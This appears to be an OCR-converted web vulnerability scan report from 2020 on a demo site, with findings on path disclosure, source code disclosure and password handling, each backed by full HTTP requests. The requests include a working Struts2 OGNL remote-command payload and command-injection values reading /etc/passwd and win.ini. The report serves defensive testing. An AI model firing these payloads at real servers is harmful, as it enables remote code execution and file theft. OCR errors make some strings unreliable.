Injected URL:
http://demo1l.indussecure.com/login.jsp

Request:

GET /login.jsp HTTP/1.1

Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/61.0.3163.100 Electr
on\/2.0.11 Safari\/537.36

host: demol.indussecure.com

Response:

HTTP/1.1 200 OK
server:Apache-Coyote\/1.1
content-type:text\/html;charset=1S0-8859-1
transfer-encoding:chunked

date:Wed, 08 Jan 2020 13:29:10 GMT
connection:close

Result:
The following vulnerable parameters found: passw
Unique Alert ID First Found Date URI

4 1748752 8th January 2020 http://demo1l.indussecure.com//dolLogin



Injected URL:
http://demo1l.indussecure.com//doLogin

j
Request:

POST //doLogin HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demo1l.indussecure.com

referer: http://demol.indussecure.com//login.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demol.indussecure.com

uid=defaultText&passw=Test%401234&btnSubmit=Login

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=15S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:34:20 GMT
connection: close

Result:
The following vulnerable parameters found: passw

Unique Alert ID First Found Date URI

5 1748733 8th January 2020 http://demol.indussecure.com/doLogin

Injected URL:
http://demo1l.indussecure.com/doLogin

Request:

POST /doLogin HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demol.indussecure.com

referer: http://demol.indussecure.com/login.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demol.indussecure.com

uid=defaultText&passw=Test%401234&btnSubmit=Login

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:35:25 GMT
connection: close

Result:
The following vulnerable parameters found: passw
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6 2179809 8th January 2020 / http://demol.indussecure.com/admin/

Unique Alert
ID First Found Date Parameter URI

Injected URL:
http://demol.indussecure.com/admin/

Vector:
admin/

Request:

POST /admin/ HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demol.indussecure.com

referer: http://demol.indussecure.com/feedback.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demol.indussecure.com

cfile=comments.txt&name=defaultText&email_addr=test%40indusface.com&subject=defaultText&comments=defaultText
&submit=+Submit+

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:39:46 GMT
connection: close

Result:
The following vulnerable parameters found: passw

Unique Alert ID First Found Date URI

7 1769762 8th January 2020 http://demo1l.indussecure.com/admin

Injected URL:
http://demo1l.indussecure.com/admin

Request:

GET /admin HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demol.indussecure.com



Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 14:36:25 GMT
connection: close

Result:
The following vulnerable parameters found: passw

INDUSFACE

™
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A3: Senstive Data Exposure

10 :: Password Field Submitted Using GET Method

Vul Type: Password Field Submitted Using GET Method No of Places Found: 1
CVSS Score: 9.8 No of Instances Reported: 1
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE : CWE-200: Information Exposure

Severity: Critical

The page contains a form with a password field, which submits the password and other user

data using the GET method. The contents of the password field will appear in the URL. Sensiti
Description:
ve information should not be passed through the URL. URLs could be logged or leaked via the

Referer header.

Solution: Password field must be submitted using POST method.

Vulnerability Details:

Unique Alert

D First Found Date Parameter URI

1 622215 8th January 2020 password http://demo1l.indussecure.com:8080

Injected URL:
http://demo1l.indussecure.com:8080

Request:

GET /showcase.action HTTP/1.1

Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnIContext@DEFAULT_MEMBER_ACCESS).(#_memberAcc
ess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil
=#container.g

Result:
From action submits password field using get method.
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11 :: Invalid TLS/SSL Server Certificate

Vul Type:
CVSS Score:
CVSS Vector:
CWE :

Severity:

Description:

Solution:

Invalid TLS/SSL Server Certificate No of Places Found: 1
9 No of Instances Reported: 1
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE-295: Improper Certificate Validation

Critical

The server's TLS/SSL certificate signature is invalid. This could indicate an attacker is activel

y attempting to eavesdrop on the connection.

Investigate the invalid signature

Examine the X.509 certificate signature, for example with the "openssl verify" tool on Unix sy
stems. If the signature is valid, investigate what/who is tampering with the TLS/SSL connecti

on.

Vulnerability Details:

Unique Alert
ID

1 622214

Injected URL:

First Found Date Parameter URI

http://demo1l.indussecure.com/bpictures

8th January 2020 hdMonth . .
/jsp/press_releases.jsp

http://demol.indussecure.com/bpictures/jsp/press_releases.jsp

Request:
HTTP/1.1 200 OK
Pragma: no-cache

X-AspNetMvc-Version: 4.0

Connection: close
Content-Length: 6946

Cache-Control: no-cache, no-store
Content-Type: text/html; charset=utf-8
Date: Mon, 07 Nov 2016 12:11:43 GMT

Expires: -1
Server: Microsoft-I

Result:

Line No:199 <form method="post" name="frm_headline">

Line No:200 <input type="hidden" name="hdMonth" value ="EilcllciocanaooB00s" >
Line No:201 <input type="hidden" nhame="hdYear" value="2016">
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12 :: Possible Physical Path Disclosure

Vul Type: Possible Physical Path Disclosure No of Places Found: 4
CVSS Score: 5.3 No of Instances Reported: 10
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE : CWE-200: Information Exposure

Severity:

The web page may disclose the physical path of the web root. While physical path disclosure
Description: is not a severe vulnerability by itself, this information can be leveraged by an attacker in co

mbination with other vulnerabilities such as directory traversal.

Do not disclose physical paths

Modify the server configuration to disable detailed error messages and diagnostics. Make sur

Solution:
e that web developers do not insert HTML or JavaScript comments containing sensitive infor
mation such as physical paths, internal IP addresses, etc.

Reference: http://www.owasp.org/index.php/Error_Handling,_Auditing_and_Logging

Vulnerability Details:

Possible Physical Path Disclosure found in HTTPHeaders

Unique Alert

ID First Found Date Parameter URI

1 1748759 8th January 2020 Content-Type I’;tsts://demol.lndussecure.com/feedback

Attack Variant :: Content-Type

Injected URL:
http://demo1l.indussecure.com/feedback.jsp

Vector:

%{ (#_="multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_member

Access=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.get
Instance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.g
etExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name’).
toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe",'/c'



j
Request:

GET /feedback.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demo1l.indussecure.com

content-type: %{(#_='multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAcce
ss?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=
#container.getlnstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear
())-(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProp
erty('os.name').toLowerCase().contains(‘win'))).(#cmds=(#iswin?{'cmd.exe’,'/c','ipconfig','/all'} :{'bash’,'-c','id"'})).(#p=n
ew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2
.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getlnputSt
ream(),#ros)).(#ros.flush())}

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:40 GMT
connection: close

Result:
The following path disclosed: L:\backup\website\

;’I';'q“e Alert First Found Date Parameter URI
, A th January 2020 Origin http://demo1l.indussecure.com/feedback

.jsp
Attack Variant :: Origin

Injected URL:
http://demo1l.indussecure.com/feedback.jsp

Vector:
demo.testfire.net

Request:

GET /feedback.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

origin: demo.testfire.net

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:47 GMT
connection: close
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Result:
The following path disclosed: L:\backup\website\

Unique Alert

D First Found Date Parameter URI

3 1748761 8th January 2020 Host r}tsts://demol.mdussecure.com/feedback

Attack Variant :: Host

Injected URL:
http://demo1l.indussecure.com/feedback.jsp

Vector:
www.testapptrana.com

Request:

GET /feedback.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: www.testapptrana.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:57 GMT
connection: close

Result:
The following path disclosed: L:\backup\website\

Possible Physical Path Disclosure found in URI

;Jll;lque Alert First Found Date Parameter URI
http://demo1l.indussecure.com/feedback
1 1748762 8th January 2020 haiku630498 .jsp?haiku630498=%60set%7Cset%?26s

et%60%20

Attack Variant :: haiku630498

Injected URL:
http://demo1l.indussecure.com/feedback.jsp?haiku630498=%60set%7Cset%26set%60%20

Vector:
‘set|set&set”



j
Request:

GET /feedback.jsp?haiku630498=%60set%7Cset%26set%60%20 HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:30:09 GMT
connection: close

Result:
The following path disclosed: L:\backup\website\

Unique Alert

ID First Found Date Parameter URI
http://demol.indussecure.com/feedback
2 1837391 8th January 2020 haiku630498 .jsp?haiku630498=&&%20cat%?20/etc/p

asswd%20

Attack Variant :: haiku630498

Injected URL:
http://demo1l.indussecure.com/feedback.jsp?haiku630498=8&&%?20cat%20/etc/passwd%20

Vector:
&& cat /etc/passwd

Request:

GET /feedback.jsp?haiku630498=8&&%20cat%20/etc/passwd%20 HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:30:17 GMT
connection: close

Result:
The following path disclosed: L:\backup\website\
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http://demo1l.indussecure.com/feedback
.jsp?haiku630498=8&%20dir%?20

Unique Alert

ID First Found Date Parameter URI

3 1837392 8th January 2020 haiku630498

Attack Variant :: haiku630498

Injected URL:
http://demol.indussecure.com/feedback.jsp?haiku630498=&&%20dir%20

Vector:
&& dir

Request:

GET /feedback.jsp?haiku630498=8&&%20dir%20 HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:30:18 GMT
connection: close

Result:
The following path disclosed: L:\backup\website\

Unique Alert

D First Found Date Parameter URI

http://demo1l.indussecure.com/feedback
4 | 1851235 8th January 2020 haiku630498 .jsp?haiku630498=8&%20type%20%SY
STEMROOT%win.ini%20

Attack Variant :: haiku630498

Injected URL:
http://demol.indussecure.com/feedback.jsp?haiku630498=&&%20type%20%SYSTEMROOT%win.ini%20

Vector:
&& type %SYSTEMROOT%win.ini

Request:

GET /feedback.jsp?haiku630498=88&%20type%20%SYSTEMROOT%Wwin.ini%?20 HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate
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Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:30:18 GMT
connection: close

Result:
The following path disclosed: L:\backup\website\

Unique Alert

ID First Found Date Parameter URI

http://demol.indussecure.com/feedback
5 1851236 8th January 2020 haiku630498 .jsp?haiku630498=&&%20run%?20type%
20%SYSTEMROOT%win.ini%20

Attack Variant :: haiku630498

Injected URL:
http://demo1l.indussecure.com/feedback.jsp?haiku630498=8&&%20run%?20type%20%SYSTEMROOT%win.ini%?20

Vector:
&& run type %SYSTEMROOT%win.ini

Request:

GET /feedback.jsp?haiku630498=8&&%20run%?20type%20%SYSTEMROOT%win.ini%?20 HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:30:19 GMT
connection: close

Result:
The following path disclosed: L:\backup\website\

Possible Physical Path Disclosure found in GET-demo1l.indussecure.com/
/feedback.jsp

Unique Alert ID First Found Date URI

1 1851237 8th January 2020 http://demo1l.indussecure.com//feedback.jsp

Injected URL:
http://demo1l.indussecure.com//feedback.jsp
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Request:

GET //feedback.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:24:40 GMT
connection: close

Result:
The following path disclosed: L:\backup\website\

Possible Physical Path Disclosure found in GET-demo1l.indussecure.com/
feedback.jsp

Unique Alert ID First Found Date URI

1 1748758 8th January 2020 http://demol.indussecure.com/feedback.jsp

Injected URL:
http://demol.indussecure.com/feedback.jsp

Request:

GET /feedback.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:39 GMT
connection: close

Result:
The following path disclosed: L:\backup\website\
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Vul Type: Source Code Disclosure No of Places Found: 5
CVSS Score: 5.3 No of Instances Reported: 6
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE : CWE-200: Information Exposure

Severity:

Source code disclosure allows a malicious user to obtain the source code of a server-side ap

plication from a webpage. The attacker can obtain deeper knowledge of the Web application |

ogic .
Description:

Disclosure of source code and configuration files can be devastating for a web application. Th

ey usually contain database connection information like IP address, port number and valid cr

edentials. In certain cases, application test users

Remove the identified piece of source code from the page and also go through the the entire

Solution:

web application pages.

Vulnerability Details:

Source Code Disclosure found in POST-demol.indussecure.com/sendFee
dback?cfile={...}&name={...}&email_addr={...}&subject={...>&comme

nts={...}&submit={...}

Unique Alert

D First Found Date

1 2179801 8th January 2020

Attack Variant :: name

Injected URL:
http://demol.indussecure.com/sendFeedback

Vector:
<%= haiku_ + 99 * 15 %>

Parameter URI

http://demol.indussecure.com/sendFee

name dback



j
Request:

POST /sendFeedback HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

content-type: application/x-www-form-urlencoded

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demol.indussecure.com

referer: http://demol.indussecure.com/feedback.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

content-length: 164

cfile=comments.txt&name=%3C%25%3D%20haiku_%20%2B%2099%20*%2015%20%25%3E&email_addr=test%40ind
usface.com&subject=defaultText&comments=defaultText&submit=%20Submit%20

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=15S0-8859-1
content-length: 7156

date: Wed, 08 Jan 2020 13:36:46 GMT
connection: close

Result:
Following sourcecode disclosed: <%= haiku_ + 99 * 15 %>

;’I';'q“e Alert First Found Date Parameter URI
, 170802 th January 2020 email_addr http://demol.indussecure.com/sendFee

dback

Attack Variant :: email_addr

Injected URL:
http://demol.indussecure.com/sendFeedback

Vector:
<%= haiku_ + 99 * 15 %>

Request:

POST /sendFeedback HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

content-type: application/x-www-form-urlencoded

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demol.indussecure.com

referer: http://demo1l.indussecure.com/feedback.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

content-length: 155

cfile=comments.txt&name=defaultText&email_addr=%3C%25%3D%?20haiku_%20%2B%2099%20%*%2015%20%25%3E
&subject=defaultText&comments=defaultText&submit=%20Submit%20
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Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 7189

date: Wed, 08 Jan 2020 13:36:57 GMT
connection: close

Result:
Following sourcecode disclosed: <%= haiku_ + 99 * 15 %>

Source Code Disclosure found in GET-demol.indussecure.com/search.js
p?query={...}&Submit={...}

Unique Alert

1D First Found Date Parameter URI
http://demo1l.indussecure.com/search.js
? =0, o, 0, o, i 0,
1 2179817 8th January 2020 query p?query=%23C%25%3D%20haiku_%20

%2B%2099%20*%2015%20%25%3E&
Submit=Go

Attack Variant :: query

Injected URL:
http://demo1l.indussecure.com/search.jsp?query=%3C%25%3D%20haiku_%20%2B%2099%20*%2015%20%25%3E&S
ubmit=Go

Vector:
<%= haiku_ + 99 * 15 %>

Request:

GET /search.jsp?query=%3C%25%3D%?20haiku_%20%2B%2099%20%*%2015%20%25%3E&Submit=Go HTTP/1.1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

referer: http://demol.indussecure.com/

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 6992

date: Wed, 08 Jan 2020 13:40:26 GMT
connection: close

Result:
Following sourcecode disclosed: <%= haiku_ + 99 * 15 %>

Source Code Disclosure found in GET-demol.indussecure.com/index.jsp
?2content={...}
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http://demol.indussecure.com/index.jsp
1 2179824 8th January 2020 content ?content=%3C%25%3D%20haiku_%20
%2B%2099%20*%2015%20%25%3E

Unique Alert

D First Found Date Parameter URI

Attack Variant :: content

Injected URL:
http://demol.indussecure.com/index.jsp?content=%3C%25%3D%20haiku_%20%2B%2099%20*%2015%20%25%3E

Vector:
<%= haiku_ + 99 * 15 %>

Request:

GET /index.jsp?content=%3C %25%3D %20haiku_%20%2B%2099%20*%2015%20%25%3E HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 6970

date: Wed, 08 Jan 2020 13:42:25 GMT
connection: close

Result:
Following sourcecode disclosed: <%= haiku_ + 99 * 15 %>

Source Code Disclosure found in GET-demol.indussecure.com/index.jsp
?2content={...}&job={...}

Unique Alert

ID First Found Date Parameter URI

http://demol.indussecure.com/index.jsp
?content=%3C%25%3D%?20haiku_%20

1 2179843 8th January 2020 content %2B%2099%20*%2015%20%25%3E&j
ob=ExecutiveAssistant%3AAdministratio
n

Attack Variant :: content

Injected URL:
http://demol.indussecure.com/index.jsp?content=%3C%25%3D%20haiku_%20%2B%2099%20*%2015%20%?25%3E&j
ob=ExecutiveAssistant%3AAdministration

Vector:
<%= haiku_ + 99 * 15 %>
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GET /index.jsp?content=%3C%25%3D%20haiku_%20%2B%2099%20*%2015%20%25%3E&job=ExecutiveAssistant%3
AAdministration HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 6970

date: Wed, 08 Jan 2020 13:49:46 GMT
connection: close

Result:
Following sourcecode disclosed: <%= haiku_ + 99 * 15 %>

Source Code Disclosure found in GET-demol.indussecure.com/search.js
p?query={...}

Unique Alert

D First Found Date Parameter URI

http://demo1l.indussecure.com/search.js
1 2179851 8th January 2020 query p?query=%23C%25%3D%20haiku_%20
%2B%2099%20*%2015%20%25%3E

Attack Variant :: query

Injected URL:
http://demol.indussecure.com/search.jsp?query=%3C%25%3D%?20haiku_%20%2B%2099%20%*%2015%20%25%3E

Vector:
<%= haiku_ + 99 * 15 %>

Request:

GET /search.jsp?query=%3C%25%3D%20haiku_%20%2B%2099%20%*%2015%20%25%3E HTTP/1.1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

referer: http://demol.indussecure.com/

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 6992

date: Wed, 08 Jan 2020 13:53:21 GMT
connection: close

Result:
Following sourcecode disclosed: <%= haiku_ + 99 * 15 %>
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14 :: Suspicious HTML Comments Detected

Vul Type: Suspicious HTML Comments Detected No of Places Found: 5
CVSS Score: 3.1 No of Instances Reported: 5
CVSS Vector: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

CWE : CWE-16: Configuration

Severity: Low

Comments embedded in HTML pages may disclose sensitive information like user credentials

, connection strings, sensitive file locations, etc. can lead to internal system level details bein
Description:
g revealed to the client. Such information can be used by the attacker to conduct fatal attack

S.

Comments found in HTML need to be investigated further to confirm attacks and remove the
Solution:
m if they are disclosing sensitive information.

Reference: https://cwe.mitre.org/data/definitions/615.html

Vulnerability Details:

Suspicious HTML Comments Detected found in GET-demol.indussecure.c
om/ /login.jsp

Unique Alert ID First Found Date URI

1 1753455 8th January 2020 http://demol.indussecure.com//login.jsp

Injected URL:
http://demo1l.indussecure.com//login.jsp

Request:

GET //login.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demol.indussecure.com

referer: http://demol.indussecure.com//login.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:26:30 GMT
connection: close
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These are the Suspicious comments found: To get the latest admin login, please contact SiteOps at 415-555-6159

Suspicious HTML Comments Detected found in GET-demo1l.indussecure.c
om/admin

Unique Alert ID First Found Date URI

1 1748700 8th January 2020 http://demol.indussecure.com/admin/

Injected URL:
http://demol.indussecure.com/admin/

Request:

GET /admin/ HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

